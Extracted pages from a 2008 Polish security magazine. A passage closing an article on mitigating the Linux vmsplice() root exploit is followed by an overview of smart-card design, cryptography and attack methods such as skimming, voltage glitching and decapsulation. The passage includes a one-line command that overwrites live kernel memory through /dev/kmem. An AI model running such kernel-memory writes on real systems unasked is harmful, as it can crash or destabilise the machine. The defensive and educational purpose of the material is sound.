sys _ vmsplice()

lub nadpisanie

pamięci jądra musi zostać wykonane
przed pierwszym uruchomieniem
exploita. Jeżeli stanie się inaczej, to
zabezpieczenia te nie spełnią naszych
oczekiwań. Gdyby napastnikowi udało
się spowodować, aby fragment exploita
(do wywołania

_ vmsplice()

włącznie)

wywoływany był po restarcie systemu,
przed załadowaniem modułu lub
nadpisaniem pamięci jądra, to dla
uzyskania uprawnień administratora
wystarczyłoby odpowiednio odwołać
się do

vm86old()

z użyciem funkcji

kernelcode()

i

get _ current()

.

Wadami tych zabezpieczeń jest

brak możliwości ich użycia w niektórych
środowiskach (brak możliwości ładowania
modułów, brak możliwości pisania do
pamięci jądra – /dev/kmem).

Podsumowanie

Najlepszą metodą walki z tym zagrożeniem
– i innymi atakami – jest wymiana jądra na
wersję, która nie jest już podatna, a także
wiedza o błędach w nim występujących.
Czego życzę Czytelnikom i Wojtkowi
Purczyńskiemu. Na pewno coś dla nas
jeszcze znajdzie.

Przemysław Skowron

Autor ma 25 lat, jest specjalistą ds. bezpieczeństwa

teleinformatycznego w jednym z największych portali

w Polsce, czynnym działaczem i członkiem organizacji

OWASP.

Kontakt z autorem: przemyslaw.skowron@gmail.com

Listing 5.

Badanie poprawności adresu docelowego dla funkcji vmsplice()

i

f (unlikely(!access_ok(VERIFY_WRITE, base, len)))

{

error

=

-

EFAULT

;

break

;

}

Listing 6.

Nadpisanie fragmentu pamięci kernela instrukcją RET

echo

-

e

'\

xc3

'

|

dd

of

=

/

dev

/

kmem

bs

=

1

count

=

1

seek

=

$

((

0x

`

awk

'/

sys_vmsplice

/

{

print

$

1

;

}

' /

proc

/

kallsyms

`

))

background image

42

HAKIN9 9/2008

OBRONA

Z

przedmiotem artykułu ma do czynienia
w zasadzie każdy z nas. Z założenia
karty mają stanowić remedium na coraz

większą liczbę haseł, a przede wszystkim
transakcji elektronicznych. Generalnie karty
istnieją wszędzie tam, gdzie zachodzi potrzeba
zabezpieczenia danych przed niepowołanym
dostępem. Podejrzewam, że ile bym nie napisał
na ten temat, to i tak nie będzie on wyczerpany.
Dziedzina zwana smart cards rozwija się
dynamicznie, co skutkuje wieloma nowinkami
technicznymi. W Polsce technologia ta pojawiła
się w latach '90, rozwijając się tak naprawdę
w ostatnich latach poprzedniego stulecia.
Na świecie karty pojawiły się wcześniej – co
nie zmienia faktu, że jest to mimo wszystko
stosunkowo nowa technologia (przynajmniej
tak, jak ją dzisiaj rozumiemy), która nabiera
znaczenia w XXI wieku i okresie, w którym
niebagatelną rolę odgrywa przesyłana
elektronicznie informacja. Pomimo jej młodego
wieku, wokół technologii zdążyło narosnąć już
wiele mitów, spośród których najważniejsze
jest powszechne przekonanie o wręcz
niewiarygodnym bezpieczeństwie kart.

W artykule postaram się zwrócić uwagę

na fakt, że nie jest to aż tak pewne. Niemniej
chciałbym się skupić na tym, czym są karty
w ogóle, jak je możemy podzielić i jakie są
ich zastosowania – czyli opisać, jak chronią
nasze dane i inne dobra. Zapraszam do lektury
artykułu.

PRZEMYSŁAW ŻARNECKI

Z ARTYKUŁU

DOWIESZ SIĘ

czym są tzw. karty inteligentne,

jak są zbudowane karty,

jakie rodzaje zabezpieczeń

stosują ich producenci,

czy te zabezpieczenia są

niezawodne,

gdzie stosuje się karty,

jak technicznie wyglądają

niektóre z zastosowań,

jak ustrzec się przed

nieodpowiedzialnym

korzystaniem z karty.

CO POWINIENEŚ

WIEDZIEĆ

karty elektroniczne są jedną

z najpopularniejszych form

zabezpieczeń ostatnich lat,

czy zdajesz sobie sprawę, czy

nie, to na pewno korzystasz ze

smart cards,

w każdym systemie

bezpieczeństwa najsłabszym

ogniwem jest człowiek,

na nic nie zda Ci się

najbezpieczniejsza nawet karta,

jeżeli ktoś pozna Twój PIN,

zwracaj uwagą na wszelkie

nietypowe okoliczności w

użytkowaniu Twojej karty, może

właśnie tracisz pieniądze,

jeżeli zamierzasz samodzielnie

korzystać z kart, sprawdź poziom

ich zabezpieczeń.

Czym są smart cards?

Ich definicja jest stosunkowo prosta, jednakże
często bywa nawet nadmiernie upraszczana
i przedstawiana tylko w kontekście kart
płatniczych. Angielska nazwa smart cards jest
często używana równocześnie z oficjalnym
określeniem ISO – Integrated Circuit Cards
(ICC). Najprostsza definicja smart card mówi,
że jest to karta z wbudowanym układem
elektronicznym. Często określa się, że jest to
kawałek plastyku o wymiarach karty kredytowej,
z wbudowanym układem elektronicznym. Jest to
o tyle nieprawda, że jedną z najbardziej znanych
kart elektronicznych jest karta SIM, której raczej
daleko do karty kredytowej. Z technicznego
punktu widzenia te karty nie muszą się od
siebie niczym różnić – sercem karty kredytowej
może być procesor, który zazwyczaj odpowiada
wielkością karcie SIM. Trudno sobie jednak

Stopień trudności

Ochrona kart

inteligentnych

Inteligentne karty nie są na tyle bezpieczne jak nam wszystkim

się wydaje. Poznajmy ich budowę i sprawdźmy jakie rodzaje

zabezpieczeń stosują ich producenci. Dowiedz się jak są łamane

i zabezpieczane dane na smart cards.

Rysunek 1.

Karta inteligentna jako przepustka do

firmy

background image

43

HAKIN9

OCHRONA KART INTELIGENTNYCH

9/2008

wyobrazić maleńką kartę kredytową czy
płatniczą tak dużą, jak kartę SIM (bardzo
często są one dostarczane w większej,
plastykowej obudowie). Karty są przede
wszystkim nośnikiem zabezpieczonych
danych.

Omawianego terminu używa się

często w szerszym i węższym kontekście.
W szerszym znaczeniu podział kart
przedstawia się następująco:

• ze względu na obecność

procesora: karty pamięciowe i karty
mikroprocesorowe,

• ze względu na sposób ochrony

przed niepożądanym dostępem:
karty głupie (ang. dumb cards, bez
ochrony pamięci), z wbudowaną
logiką (ang. wired logic cards,
pamięć posiada ochronę w postaci
układów logicznych), karty inteligentne
(za bezpieczeństwo odpowiada
wbudowany procesor).

Karty można jeszcze dzielić ze względu
na swoje przeznaczenie czy aspekty
użytkowe, pod kątem sposobu, w
jaki komunikują się z urządzeniami
elektronicznymi i na wiele innych
sposobów. Za najbardziej bezpieczne
uznaje się karty inteligentne. Tego terminu
można używać również na określenie
całej grupy kart, którą przed chwilą
opisałem. Niemniej bardziej właściwe

moim zdaniem jest odnoszenie terminu
smart cards tylko i wyłącznie do kart
inteligentnych, czyli posiadających
wbudowany na pokładzie procesor, a
przynajmniej układ elektroniczny. Ze
wszystkich kart do zabezpieczania
danych właśnie je uważa się za
najbezpieczniejsze, ale również za
najwygodniejsze w użytkowaniu i
konfigurowaniu.

Poza procesorem karty posiadają

jeszcze coś na kształt własnego
systemu operacyjnego, dzięki czemu
oprócz przechowywania danych mogą
wykonywać określone operacje. Z
tym, że nie mamy tutaj do czynienia z
systemem operacyjnym, przynajmniej
nie w takim znaczeniu, jakie ma ten
termin na co dzień. Jest to tak naprawdę
wyspecjalizowany kod, który odpowiada
za sterowanie pracą procesora, jak
również wykonywanie operacji (np. zapis,
opróżnianie pamięci). System posiada
zazwyczaj kilka gotowych aplikacji, których
zadaniem jest obsługa autoryzacji
oraz szyfrowanie danych w trakcie ich
transmisji.

Można wskazać dwa rodzaje

systemów operacyjnych. W pierwszym
przypadku, aby dodać jakiś nowy
element lub funkcję, należy najpierw
przekompilować system i wgrać go na
kartę od nowa. Jako przykład takiego
systemu można przytoczyć CardLogix

M.O.S.T. Takie rozwiązanie zapewnia
wprawdzie względne bezpieczeństwo,
jednakże jakakolwiek rekonfiguracja karty
to czynność wysoce skomplikowana.
Niemniej CardLogix jest w dalszym ciągu
uznawany za największego dostawcę kart
inteligentnych na świecie.

Rozwiązaniem powyższego problemu

są nowoczesne karty z systemem
operacyjnym, który nazwano Disk
Drive. Jest to nazwa rodzaju, bowiem
do najbardziej znanych systemów
operacyjnych dla kart inteligentnych
należą Microsoft Windows Card OS oraz
Java Card OS (wg różnych szacunków
na świecie jest ponad 3,5 miliarda kart
zgodnych z Javą). W ich przypadku mamy
do czynienia z aplikacją, którą można
nazwać menedżerem plików. Pozwala on
na załadowanie na kartę dodatkowych
elementów czy aplikacji, jak również na
zarządzanie zgromadzonymi na nich
danymi/plikami. Systemów operacyjnych
Disk Drive powszechnie używa się
tam, gdzie karta ma mieć długi termin
ważności (zazwyczaj są to cztery lata).
Dzięki temu ich dostawca ma pewność,
że w przypadku konieczności modyfikacji
jakichś danych, nie trzeba będzie wgrywać
na nowo całego systemu operacyjnego.
Z racji bardzo wyspecjalizowanych funkcji
(oraz możliwości i przeznaczenia kart)
aplikacje dla systemów operacyjnych
liczą sobie nie więcej niż kilka, kilkanaście
kilobajtów.

Dwoma najbardziej powszechnymi

językami programowania dla smart
cards są Java i Basic. Do tworzenia
oprogramowania używa się narzędzi
programistycznych, których najważniejszym
elementem jest emulacja procesora karty.

Rysunek 2.

Zabezpieczenia w pendrive

Rysunek 3.

Kolejne karty inteligentne

background image

44

HAKIN9 9/2008

OBRONA

Jak działają?

Najważniejszym elementem każdej
karty jest mikroprocesor, którego
podstawową funkcją jest kontrola
odczytu i zapisu danych znajdujących
się w pamięci. Zazwyczaj w trakcie
wykonywania operacji żąda się od nas
podania numeru identyfikacyjnego PIN.
Procesor jest w stanie kontrolować liczbę
nieudanych prób i np. po przekroczeniu
określonego limitu zablokować kartę
bądź poprosić o dodatkową autoryzację.
Najlepszym przykładem będą w tym
przypadku karty SIM. Ciekawe, ilu z
Was po nieprawidłowym wprowadzeniu
numeru PIN zostało poproszonych o PUK
(dodatkowa autoryzacja), a ilu musiało
udać się do swojego operatora po
nową kartę? Mogę podejrzewać, że nie
tak znowu mały odsetek. Zarządzanie
pamięcią karty sprawia, że jej część
może służyć do przechowywania
różnego rodzaju informacji. W ten
sposób karty inteligentne stają się
urządzeniami wielofunkcyjnymi. Zdarzają
się sytuacje, w których karta parkingowa
jest jednocześnie kartą telefoniczną,
przepustką płatniczą i pełni ponadto wiele
innych funkcji.

Kolejnym ważnym elementem każdej

karty jest pamięć. Karta może zawierać
nawet kilka rodzajów pamięci:

• ROM – Read Only Memory,
• PROM – Programmable ROM – tylko

w teorii, praktycznie nie stosowana w
ICC,

• EPROM – Erasable PROM

praktycznie nie stosowana,

• EEPROM – Electrically EPROM

– najczęściej stosowana,

• RAM – Random Access Memory.

Każda karta na pewno musi zawierać
pamięć ROM, w której przechowywany
jest system operacyjny. Jest to tzw. maska,
która określa zarazem dostęp do różnych
obszarów pamięci i sposoby zarządzania
nimi. Najczęściej stosowana pamięć
EEPROM definiowana jest często jako
pamięć nieulotna, co oznacza, że nawet
po nastąpieniu zaniku zasilania, pamięć
przechowuje dane.

Najpopularniejsze karty dzielą

zazwyczaj pamięć na trzy obszary.
Pierwszy to tzw. obszar swobodnego
odczytu. Zapisuje się dane na nim tylko
raz – podczas procesu personalizacji
karty. Znajdują się w nim podstawowe
informacje na temat samej karty i jej
posiadacza. Zazwyczaj są to imię i
nazwisko właściciela, data ważności,
numer karty i wiele innych, przydatnych np.
do identyfikacji właściciela karty.

Cała elektronika umieszczona jest

zawsze w układzie wykonywanym w
technologii CMOS, który wprasowuje
się w kartę. Układ jest wyposażony w
specjalistyczne ekranowanie, przede
wszystkim po to, aby nic nie zakłóciło
jego pracy. W zdecydowanej większości
przypadków karty nie posiadają
własnego zasilania, aczkolwiek taka
możliwość występuje teoretycznie,
a czasem nawet i praktycznie. Karta
pobiera zasilanie z czytnika. System
operacyjny do swojego startu wymaga
mniej niż sekundy.

Do korzystania z karty niezbędny jest

czytnik. Wielu zwykłych Kowalskich nie
będzie używać karty właśnie ze względu
na tę drobną niedogodność. Taki czytnik
to wydatek rzędu co najwyżej kilkunastu
złotych, podłącza się go do USB,
wykrywany jest zazwyczaj automatycznie
(ze starszymi modelami, podłączanymi
do innych rodzajów portów były faktycznie
problemy). Z czytnikami kart mamy do
czynienia prawie codziennie, chociaż
zazwyczaj jest to bardzo specyficzny
typ zwany terminalem. Widzimy je
idąc na zakupy i płacąc kartą, choć w
naszym kraju ciągle jeszcze popularne
są karty pamięciowe – bez układu
elektronicznego, gdzie czytnik korzysta
z wbudowanego w kartę paska
magnetycznego.

W odniesieniu do komunikowania

z otoczeniem możemy wyróżnić dwa

rodzaje kart – stykowe i bezstykowe.
Zacznę od tych drugich. Ich projekt
powstał pod koniec lat '70 XX w.
Komunikacja w przypadku tego rodzaju
kart odbywa się drogą radiową. Karty
bezstykowe mogą być zasilane własną
baterią (tzw. aktywne zasilanie) bądź z
czytnika, za pomocą cewki o niewielkim
zasięgu. Jest ona pobudzana przez pole
elektromagnetyczne. Stosuje się je raczej
w kartach o naprawdę małym zasięgu.

Karty bezstykowe są wygodne,

ale przede wszystkim zapewniają
szybką obsługę. Odpada konieczność
precyzyjnego wkładania do czytnika. Mają
więc one zastosowanie tam, gdzie liczy
się czas oraz gdzie przewija się duża
liczba osób. Tak może być w tramwajach,
autobusach (np. w Warszawie), w
obiektach użyteczności publicznej i
wielu innych. Do kolejnych zalet należy
z pewnością zaliczyć większą trwałość
– ponieważ karta nie zużywa się zbytnio
fizycznie, nie trzeba wymieniać ani samej
karty, ani głowic czytających. Zasięg
działania karty zależy od jej typu, tym
niemniej waha się od kilku milimetrów do
kilku metrów.

W przypadku kart sporym problemem

jest liczba standardów. Co jakiś czas
ponawiane są próby ujednolicenia
sposobu działania samych kart, jak
również czytników. Największy problem
pojawia się w przypadku systemów
operacyjnych i stosowanych w kartach
procesorów.

Najważniejsza norma związana z

budową i działaniem kart powstała jeszcze
w roku 1987. ISO 7816 charakteryzuje
właściwości fizyczne oraz komunikacyjne
stosowanych układów. Całość jest
sformułowana na tyle ogólnie, że została
zaakceptowane przez zdecydowaną
większość producentów kart. Sama
norma składa się z kilku części, dzięki
czemu producentom jest o wiele łatwiej ją
stosować.

Ciekawym uzupełnieniem normy jest

opublikowany przez amerykański instytut
badawczy (National Institute of Standards
and Technology
– NIST) dokument
związany z szyfrowaniem danych. W
Security Requirements for Cryptographic
Modules
(tzw. dokument FIPS 140-1)
Amerykanie opisali bezpieczeństwo
fizyczne układów CMOS, jak również

Rysunek 4.

Karta w laptopie

background image

OCHRONA KART INTELIGENTNYCH

45

HAKIN9

9/2008

background image

46

HAKIN9 9/2008

OBRONA

OCHRONA KART INTELIGENTNYCH

47

HAKIN9

9/2008

zdefiniowali sposób pracy modułów
kryptograficznych.

Problem ze standaryzacją jest również

tej natury, że wiele jej elementów zostało
przez Amerykanów opatentowanych i nie
jest powszechnie dostępnych. Oczywiście
nie za darmo. Część norm trzeba
kupować bezpośrednio w ISO lub ANSI.

Fiaskiem skończyły się wszystkie

dotychczasowe próby stworzenia
jednej definicji interfejsu aplikacji
funkcjonujących na kartach. Zażarta
konkurencja pomiędzy wielkimi rynku
nie pozwala na ujednolicenie sposobu
działania kart. Dla przykładu własną
specyfikację opracowały MasterCard
i Visa. W tym segmencie własną
propozycję przedstawił nawet Microsoft.
Nie jest niespodzianką, że została ona
zignorowana w zasadzie przez wszystkich.
Nic dziwnego. W powszechnym, ale
również i specjalistycznym, mniemaniu
słowa bezpieczeństwo i Microsoft to tak
jakby drogowskazy w dwie różne strony.
Niestety, korporacja pracowała i pracuje
konsekwentnie nad swoim negatywnym
wizerunkiem. Osobne specyfikacje
powstały również w samej GSM.

Ważnym elementem każdej karty

jest stosowany przez nią system
zabezpieczeń. Z racji pewnych
ograniczeń fizycznych, braku zegara
astronomicznego (co się może
oczywiście zmienić) w kartach nie była
do tej pory możliwa implementacja
niektórych zaawansowanych protokołów
kryptograficznych. Niemniej lista
potencjalnych zabezpieczeń nie jest
mała. Zerknijmy na kilka wybranych.

Pierwszy z przykładów wykorzystuje

w swoim działaniu arytmetykę grupy
punktów na krzywych eliptycznych
(inaczej schemat oparty na krzywej).
Metoda zwana ECDSA stosowana jest
na przykład w podpisach elektronicznych.
Dla porównania: zastosowanie 63-
bitowego klucza ECDSA porównywalne
jest z klasycznym kluczem o długości
1024 bitów.

Do klasycznych rodzajów

zabezpieczeń należy podpis cyfrowy
RSA. Jest to jeden z najpopularniejszych
algorytmów kryptografii asymetrycznej.
Powstał w 1978 r., zaś nazwa stanowi
akronim pierwszych liter nazwisk jego
twórców. Jego skuteczność opiera się
na trudności faktoryzacji (rozkładu na
czynniki) dużych liczb. Pewne jest, że
gdyby się komuś udało opracować na
to algorytm, to złamałby RSA. Do tej
pory nikomu się to nie powiodło, nie ma
natomiast 100% pewności, że RSA nie
można złamać w inny sposób. Niemniej
metodę uważa się za co najmniej
dostateczną. Do tej pory zanotowano
udane ataki na klucze o długości około
600 bitów. Teoretycznie więc do pewnego
stopnia możemy zaufać dłuższym
kluczom. Popularna jest opinia, że
prawdziwym zagrożeniem dla RSA będzie
skonstruowanie komputera kwantowego.

Kolejna metoda służy zabezpieczeniu

przed tzw. pasywnym podsłuchem. Jest

to protokół uzgadniania kluczy Diffiego-
Hellmana. Dwie strony komunikacji losują
pewną liczbę, którą po zastosowaniu
protokołu znają tylko one. Ta liczba może
być następnie wykorzystana jako klucz
szyfrujący. Ktoś, kto podsłuchuje, nie jest
w stanie poznać tego klucza. Słabą stroną
tego protokołu jest brak zabezpieczeń
przed próbami ingerencji w komunikację.
Z tej racji nadaje się on raczej jako
uzupełnienie pozostałych metod.

Karty nie mogły się również obyć

bez Digital Signature Algorithm
(DSA). Jest to amerykański narodowy
standard dla podpisów cyfrowych.
Przede wszystkim służy on tylko do
cyfrowego podpisywania, nie zaś
do szyfrowania komunikacji. Jest to
algorytm asymetryczny, który może
zostać wykorzystany do przesłania
informacji podprogowej. Długość kluczy,
które używa się w tym algorytmie jest
zmienna w zakresie od 512 do 1024
bitów. Wydaje się, że są one adekwatne
do współczesnych mocy obliczeniowych.
Za dający przyzwoite bezpieczeństwo
uważa się klucz o długości nie
mniejszej niż 768 bitów. Mowa jest
oczywiście o zastosowaniach cywilnych.
Klucze wykorzystują również wojskowi
amerykańscy i tam poziom zabezpieczeń
jest zdecydowanie bardziej wyśrubowany.

Na tym katalog się nie kończy. Wraz

z rozwojem technologii produkcji kart

Rysunek 5.

Czytnik kart

Rysunek 6.

Czytnik kart przy komputerze

background image

46

HAKIN9 9/2008

OBRONA

OCHRONA KART INTELIGENTNYCH

47

HAKIN9

9/2008

istniejące protokoły są unowocześniane
– tak, że ich możliwości zdecydowanie
się zwiększają. Przy okazji wzmocnieniu
ulega również moc obliczeniowa samych
kart. Współczesne są wyposażone
często w matematyczne koprocesory,
których zadaniem jest przede wszystkim
zwiększenie szybkości operacji
kryptograficznych.

Skoro piszę o działaniu kart, warto

wspomnieć jeszcze o znajdującym się
na nich systemie plików. Jeśli mają coś
na kształt systemu operacyjnego, to
przecież system plików nie powinien być
zaskoczeniem. W myśl wspomnianej już
normy, sercem kart jest system plików
o strukturze drzewa. Jego nazwa to
SmartCard Filesystem (SCFS). Został
on oparty na uniksowych systemach
plików. Zastosowano w nim dwubajtowe
nazwy plików oraz trzy główne typy plików.
Pierwszy to Master File, czyli korzeń
drzewa katalogów. Dedicated File to
odpowiednik katalogu, zaś Elementary
File to plik z danymi. O powiązaniu
SCFS z systemami uniksowymi, a więc
i Linuksem, świadczy fakt, że w Linuksie
można bez większych problemów
zamontować kartę inteligentną w drzewie
katalogów.

Zastosowania smart cards

Zacznę od możliwości współpracy
kart z systemami operacyjnymi.
Można je wykorzystać do trzech
podstawowych operacji, jak również
wielu ich pochodnych. Pierwsza
z nich to logowanie do systemu.
Zamiast hasła korzystamy z karty.
Za pomocą kart możemy wysyłać

tzw. bezpieczne maile. W zależności
od zainstalowanego w komputerze
oprogramowania możemy je szyfrować
bądź tylko podpisywać. Wreszcie karta
może służyć do identyfikacji (właściwie
autentykacji) np. klienta. Zerknijmy na
te operacje dokładniej. Jak wyglądają
poszczególne możliwości? Ich dogłębne
przeanalizowanie jest moim zdaniem
interesujące.

Logowanie za pomocą karty będzie

wyglądało tak, jak korzystanie z niej w
bankomacie, aparacie telefonicznym
itp. Odbywa się ono w ten sposób, że
karta przesyła do systemu certyfikat
(najczęściej klucz publiczny, ale zależy
to od naszych preferencji). Wcześniej
jeszcze użytkownik może zostać
poproszony o autoryzację. Podobnie,
jak w bankomacie, może zajść
potrzeba wpisania numeru PIN. W wielu
miejscach nie pisze się o tym, że jest
to tylko jeden ze sposobów – karta nie
musi być zabezpieczona poprzez PIN.
Wysłany przez kartę klucz publiczny
jest wykorzystany do stworzenia przez
komputer tzw. wyzwania, które trafia z
powrotem do karty. Dekoduje ona je
kluczem prywatnym, po czym wysyła
odpowiedź. Logowanie polega na
zweryfikowaniu poprawności klucza
prywatnego i publicznego. W przypadku
systemów z rodziny Windows, na
podstawie danych użytkownika wysłanych
w trakcie odpowiedzi, znajduje się
odpowiednią pozycję w Active Directory.
W tej metodzie klucz prywatny w ogóle
nie opuszcza karty, przez co jest w pełni
bezpieczny. Z kolei dzięki operacjom
wykonanym na karcie system ma
pewność, że próbuje się zalogować
właściwy użytkownik.

W bardzo podobny sposób działa

drugie z opisywanych zastosowań. W
przypadku wysyłania bezpiecznego maila
prywatny klucz również nie opuszcza
karty. Szyfrowanie podpisu odbywa się
bezpośrednio na karcie. Teoretycznie
takie operacje można wykonywać na
dowolnym komputerze zaopatrzonym w
czytnik, nie tylko w naszym. Jeżeli jednak
nie dysponujemy naprawdę dobrymi
zabezpieczeniami, to szczerze odradzam.
Jeżeli nie jest to zaufany komputer, lepiej
nie ryzykować. W przypadku dobrej karty z
rzeczywiście solidnymi zabezpieczeniami

można się o to pokusić, w końcu istotą
metody jest to, że klucz pozostaje na
karcie.

Po tym, co napisałem, niewiele

mi zostaje do dodania przy ostatnim
wspomnianym zastosowaniu. Korzystając
z karty, użytkownik podpisuje się
elektronicznie poprzez szyfrowanie z
wykorzystaniem określonego klucza
prywatnego. Poza zwykłym podpisem
możliwe są również takie operacje, jak
wymiana kluczy. Istnieją nieograniczone
wręcz możliwości wykorzystania karty
we wszelkich transakcjach i komunikacji
on-line. Jedną z takich możliwości jest
przecież podpis elektroniczny, który powoli
zaczyna rozwijać skrzydła (chociaż do
nazwania go popularnym minie jeszcze
pewnie co najmniej parę lat).

Jak zauważyliście, istnieje całkiem

sporo możliwości wykorzystania kart
podczas pracy z komputerem. Nie są to
rozwiązania zbyt powszechne, zwłaszcza
w polskich warunkach. Na Zachodzie,
szczególnie w Stanach Zjednoczonych,
sytuacja jest zupełnie inna. Kraje Unii
Europejskiej stoją wprawdzie w tej materii
o wiele lepiej niż Polska, jednakże – poza
paroma wyjątkami – obywatele tych
państw nie wykorzystują w większym
stopniu kart w życiu codziennym.

Karty mają szereg innych zastosowań

na codzień. Jednym z powszechniejszych
jest wykorzystanie ich w systemach
kontroli np. pomieszczeń czy różnego
rodzaju zasobów. W wielu miejscach
wykorzystywane są wprawdzie jeszcze
karty magnetyczne (np. w hotelach, gdzie
zastępują klasyczne klucze), które są
powoli wycofywane z użytku. W Polsce
coraz bardziej popularne stają się
elektroniczne legitymacje studenckie,
które przecież nie są niczym innym, jak
po prostu rodzajem karty inteligentnej,
służącej do przechowywania zbioru
informacji. Podejrzewam, że wielu z
Czytelników posiada karty płatnicze
czy kredytowe, które są wyposażone
w procesor. Karty w dokładnie tym
samym formacie wykorzystuje się w
ubezpieczeniach, w różnego rodzaju
programach lojalnościowych. Weźmy
program Orlenu. Karta Vitay to nic
innego, jak karta inteligentna, na której
przechowywane są informacje o ilości
punktów promocyjnych jej posiadacza.

Rysunek 7.

Kolejny przenośny czytnik kart

background image

48

HAKIN9 9/2008

OBRONA

OCHRONA KART INTELIGENTNYCH

49

HAKIN9

9/2008

Wreszcie na sam koniec pozostawię

sobie najpowszechniejsze zastosowanie
inteligentnych kart w Polsce, czyli
telefonię GSM. Na podstawie czego
to wnioskuję? Telefonów komórkowych
w Polsce jest już więcej niż Polaków.
Sercem każdego z nich (przynajmniej,
jeśli ma być podłączony do sieci)
jest karta SIM, o której już gdzieś na
początku tekstu już wspominałem. Jest
to karta inteligenta, która posiada na
pokładzie dane niezbędne do naszego
logowania się w sieci. Identyfikuje nas,
jeżeli nie jako konkretnego abonenta
(bo możemy przecież korzystać w miarę
anonimowo z prepaid), to przynajmniej
jako klienta o określonym numerze
telefonicznym. Swoją drogą zawiera
również informacje o samej sieci, z
której korzystają telefony posiadające
tzw. simlocka (blokadę umożliwiającą
działanie tylko w jednej sieci). Ponadto
karty SIM mogą przechowywać również
innego rodzaju informacje, na przykład
naszą książkę telefoniczną. Ustępują
wprawdzie w tym zastosowaniu samym
telefonom, jednakże dzięki temu mamy
dostęp do naszych kontaktów niezależnie
od posiadanego sprzętu. Z pewnością
jest to wygodne rozwiązanie dla niezbyt
wymagających użytkowników (ponieważ
na karcie można zapisać numer telefonu i
inne podstawowe dane – co nie oznacza,
że się to w przyszłości nie zmieni).

Czy inteligentne karty są tak

bezpieczne, jak się wydaje?

Wychowany w duchu powstającego
kapitalizmu, wszechobecnego piractwa,
jak również nieustających, z góry
skazanych na niepowodzenie, prób
zabezpieczenia swojej własności przed
piratami, nauczyłem się jednego. Zawsze
znajdzie się jakieś rozwiązanie, recepta
na pewną trudność. Wychodzę przy
tym z założenia, że nie ma systemów
w 100% bezpiecznych. Podobnie jest
z omawianymi kartami. Z pewnością
są trudne do złamania, jednak istnieje
wiele przykładów na to, że jest to
mimo wszystko możliwe. Co jakiś czas
słyszymy informację o tym, że np. zostały
skopiowane czyjeś karty kredytowe bądź
płatnicze. Zanim omówię rzeczywiste
przypadki łamania zabezpieczeń smart
cards, wspomnę o jeszcze jednej kwestii.

Niezależnie od tego, jakimi

zabezpieczeniami się otoczymy,
to my sami jesteśmy najsłabszym
ogniwem systemu zabezpieczeń. Jeżeli
nieopatrznie udostępnimy osobie
niepowołanej kod dostępu do naszej
karty, to żaden system bezpieczeństwa
nas nie ochroni. Przypadek numer jeden.
Sam fakt, że w przypadku bankomatów
kradzież rozpoczyna się tak naprawdę
od naszego kodu PIN, świadczy, że nie
można ot tak po prostu włamać się
do karty – a przynajmniej stanowi to
problem większy niż zdobycie samego
numeru PIN. Aby go uzyskać, złodzieje
posługują się przeróżnymi metodami,
począwszy od przemocy fizycznej, na
różnych podstępach skończywszy.
Wspomnę tylko, że co poniektórych
naprawdę powinniśmy się wystrzegać.
Przede wszystkim w miejscach
publicznych powinniśmy wpisywać PIN w
sposób dyskretny. Przy bankomacie na
pewno zaś w sposób, który przynajmniej
utrudni chociażby nagranie naszej
operacji. Zdarza się również, że sprytni
złodzieje nakładają na klawiatury
bankomatów różnego rodzaju urządzenia,
które przechwytują wszystkie wpisywane
hasła. W połączeniu z kamerką – to
wręcz zabójcza kombinacja. Istnieją
również urządzenia, które są w stanie
zeskanować naszą transmisję na tyle,
że złodziej jest w stanie wykonać dosyć
wierną imitację naszej karty. Jeżeli
jeszcze pozna PIN, to już puste konto w

zasadzie murowane. Oczywiście zawsze
może poznać kod, po czym mniej niż
grzecznie poprosić nas o oddanie mu
karty.

Czyli apeluję przede wszystkim o

naszą rozwagę. Również niewskazane
jest szafowanie numerami naszych
urządzeń na lewo i prawo. Często
podajemy, gdzie popadnie, numer naszej
karty kredytowej, czym na przykład
pozbawiamy się emerytury. Kuriozalna
wręcz sytuacja zdarzyła się na jednym z
dworców kolejowych w Polsce (zdarzyła
się ona, kiedy kończyłem niniejszy artykuł).
Mianowicie okazało się, że okienko
przy kasie jest tak skonstruowane,
że nie zmieści się przez nie terminal
umożliwiający wpisane kodu PIN karty.
Wyobraźcie sobie, że macie donośny
głos, przez co z jedną z Waszych
najważniejszych danych zapoznaje
się jakaś niepowołana osoba i kłopoty
gotowe. Jedyną receptą na tego typu
sytuacje jest trzymanie karty zawsze
przy sobie i nie ufanie zbytnio obcym
sprzedawcom.

Ataki, o których właśnie wspominałem,

to przede wszystkim działanie skierowane
na przechwycenie pewnego elementu
komunikacji i zrobienie z niego
określonego użytku. Poza tym obiektem
włamywacza może być cała karta jako
taka, bądź na przykład tylko algorytmy
szyfrowania czy tylko określone klucze. Z
kolei przy włamywaniu stosuje się dwie
podstawowe metody. W nieinwazyjnej

Rysunek 8.

Przykład reklamy

background image

48

HAKIN9 9/2008

OBRONA

OCHRONA KART INTELIGENTNYCH

49

HAKIN9

9/2008

dane próbuje się pozyskać bez
fizycznych zniszczeń na karcie. Celem
ataku bywa przede wszystkim pamięć
EEPROM. Mogą się z nią dziać różne
dziwne rzeczy, jeżeli dostarczane do niej
napięcie podlegać będzie anomaliom.
Modyfikacji danych na wielu kartach
można dokonać chociażby zwiększając
oraz zmniejszając naprzemiennie
napięcie zasilania podawanego za
pomocą złączy. W przypadku co
najmniej kilku kart zdarzyło się, że w
wyniku takiej operacji zerowany był bit
bezpieczeństwa, czyli – mówiąc ludzkim
językiem – kasowały się zabezpieczenia.
Nie wszystkie karty podatne są na tego
typu ataki. Niemniej co jakiś czas pojawia
się informacja, że jakaś karta padła
ofiarą podobnego ataku. Producenci
próbują w różny sposób przeciwdziałać
wspomnianemu zagrożeniu. Na przykład
jedną z wielu nieudanych była próba
zainstalowania w kartach czujników
napięcia, które by zawczasu informowały,
że z kartą dzieje się coś dziwnego.

Metody inwazyjne związane są

z fizycznymi uszkodzeniami karty.
Po pierwsze, co poniektórzy zrywają
wierzchnią warstwę plastyku, aby dostać
się do wbudowanego układu karty. Po
dostaniu się do mikroprocesora, traktuje
się go często kwasem aż do ukazania się
krzemu. W tej metodzie istnieje znaczne
ryzyko uszkodzenia danych, ponieważ nie
wiadomo tak naprawdę, jak określona
karta się zachowuje. Dwie karty mogą
być niby np. z tej samej fabryki, lecz
może się okazać, że z jedną kartą się
włamywaczowi uda, podczas gdy druga
zostanie zniszczona. Dlatego łamanie
kart jest raczej zabawą dla wytrwałych.
Zwłaszcza ostatnia metoda jest więcej niż
wymagająca.

W nielicznych przypadkach zdarza się,

że złamany zostaje algorytm szyfrujący.

Czasem te pojedyncze przypadki dotyczą
produktu powszechnie dostępnego.
